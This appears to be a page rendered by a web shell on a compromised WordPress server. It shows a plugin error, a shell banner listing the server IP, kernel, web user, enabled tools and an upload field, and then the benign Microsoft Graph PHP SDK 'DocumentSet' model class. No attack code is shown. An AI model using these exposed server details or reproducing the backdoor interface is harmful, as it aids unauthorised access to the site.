Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* DocumentSet File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* DocumentSet class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class DocumentSet extends Entity
{
/**
* Gets the allowedContentTypes
* Content types allowed in document set.
*
* @return ContentTypeInfo|null The allowedContentTypes
*/
public function getAllowedContentTypes()
{
if (array_key_exists("allowedContentTypes", $this->_propDict)) {
if (is_a($this->_propDict["allowedContentTypes"], "\Microsoft\Graph\Model\ContentTypeInfo") || is_null($this->_propDict["allowedContentTypes"])) {
return $this->_propDict["allowedContentTypes"];
} else {
$this->_propDict["allowedContentTypes"] = new ContentTypeInfo($this->_propDict["allowedContentTypes"]);
return $this->_propDict["allowedContentTypes"];
}
}
return null;
}
/**
* Sets the allowedContentTypes
* Content types allowed in document set.
*
* @param ContentTypeInfo $val The value to assign to the allowedContentTypes
*
* @return DocumentSet The DocumentSet
*/
public function setAllowedContentTypes($val)
{
$this->_propDict["allowedContentTypes"] = $val;
return $this;
}
/**
* Gets the defaultContents
* Default contents of document set.
*
* @return DocumentSetContent|null The defaultContents
*/
public function getDefaultContents()
{
if (array_key_exists("defaultContents", $this->_propDict)) {
if (is_a($this->_propDict["defaultContents"], "\Microsoft\Graph\Model\DocumentSetContent") || is_null($this->_propDict["defaultContents"])) {
return $this->_propDict["defaultContents"];
} else {
$this->_propDict["defaultContents"] = new DocumentSetContent($this->_propDict["defaultContents"]);
return $this->_propDict["defaultContents"];
}
}
return null;
}
/**
* Sets the defaultContents
* Default contents of document set.
*
* @param DocumentSetContent $val The value to assign to the defaultContents
*
* @return DocumentSet The DocumentSet
*/
public function setDefaultContents($val)
{
$this->_propDict["defaultContents"] = $val;
return $this;
}
/**
* Gets the propagateWelcomePageChanges
* Specifies whether to push welcome page changes to inherited content types.
*
* @return bool|null The propagateWelcomePageChanges
*/
public function getPropagateWelcomePageChanges()
{
if (array_key_exists("propagateWelcomePageChanges", $this->_propDict)) {
return $this->_propDict["propagateWelcomePageChanges"];
} else {
return null;
}
}
/**
* Sets the propagateWelcomePageChanges
* Specifies whether to push welcome page changes to inherited content types.
*
* @param bool $val The value of the propagateWelcomePageChanges
*
* @return DocumentSet
*/
public function setPropagateWelcomePageChanges($val)
{
$this->_propDict["propagateWelcomePageChanges"] = $val;
return $this;
}
/**
* Gets the shouldPrefixNameToFile
* Indicates whether to add the name of the document set to each file name.
*
* @return bool|null The shouldPrefixNameToFile
*/
public function getShouldPrefixNameToFile()
{
if (array_key_exists("shouldPrefixNameToFile", $this->_propDict)) {
return $this->_propDict["shouldPrefixNameToFile"];
} else {
return null;
}
}
/**
* Sets the shouldPrefixNameToFile
* Indicates whether to add the name of the document set to each file name.
*
* @param bool $val The value of the shouldPrefixNameToFile
*
* @return DocumentSet
*/
public function setShouldPrefixNameToFile($val)
{
$this->_propDict["shouldPrefixNameToFile"] = $val;
return $this;
}
/**
* Gets the welcomePageUrl
* Welcome page absolute URL.
*
* @return string|null The welcomePageUrl
*/
public function getWelcomePageUrl()
{
if (array_key_exists("welcomePageUrl", $this->_propDict)) {
return $this->_propDict["welcomePageUrl"];
} else {
return null;
}
}
/**
* Sets the welcomePageUrl
* Welcome page absolute URL.
*
* @param string $val The value of the welcomePageUrl
*
* @return DocumentSet
*/
public function setWelcomePageUrl($val)
{
$this->_propDict["welcomePageUrl"] = $val;
return $this;
}
/**
* Gets the sharedColumns
*
* @return ColumnDefinition|null The sharedColumns
*/
public function getSharedColumns()
{
if (array_key_exists("sharedColumns", $this->_propDict)) {
if (is_a($this->_propDict["sharedColumns"], "\Microsoft\Graph\Model\ColumnDefinition") || is_null($this->_propDict["sharedColumns"])) {
return $this->_propDict["sharedColumns"];
} else {
$this->_propDict["sharedColumns"] = new ColumnDefinition($this->_propDict["sharedColumns"]);
return $this->_propDict["sharedColumns"];
}
}
return null;
}
/**
* Sets the sharedColumns
*
* @param ColumnDefinition $val The value to assign to the sharedColumns
*
* @return DocumentSet The DocumentSet
*/
public function setSharedColumns($val)
{
$this->_propDict["sharedColumns"] = $val;
return $this;
}
/**
* Gets the welcomePageColumns
*
* @return ColumnDefinition|null The welcomePageColumns
*/
public function getWelcomePageColumns()
{
if (array_key_exists("welcomePageColumns", $this->_propDict)) {
if (is_a($this->_propDict["welcomePageColumns"], "\Microsoft\Graph\Model\ColumnDefinition") || is_null($this->_propDict["welcomePageColumns"])) {
return $this->_propDict["welcomePageColumns"];
} else {
$this->_propDict["welcomePageColumns"] = new ColumnDefinition($this->_propDict["welcomePageColumns"]);
return $this->_propDict["welcomePageColumns"];
}
}
return null;
}
/**
* Sets the welcomePageColumns
*
* @param ColumnDefinition $val The value to assign to the welcomePageColumns
*
* @return DocumentSet The DocumentSet
*/
public function setWelcomePageColumns($val)
{
$this->_propDict["welcomePageColumns"] = $val;
return $this;
}
}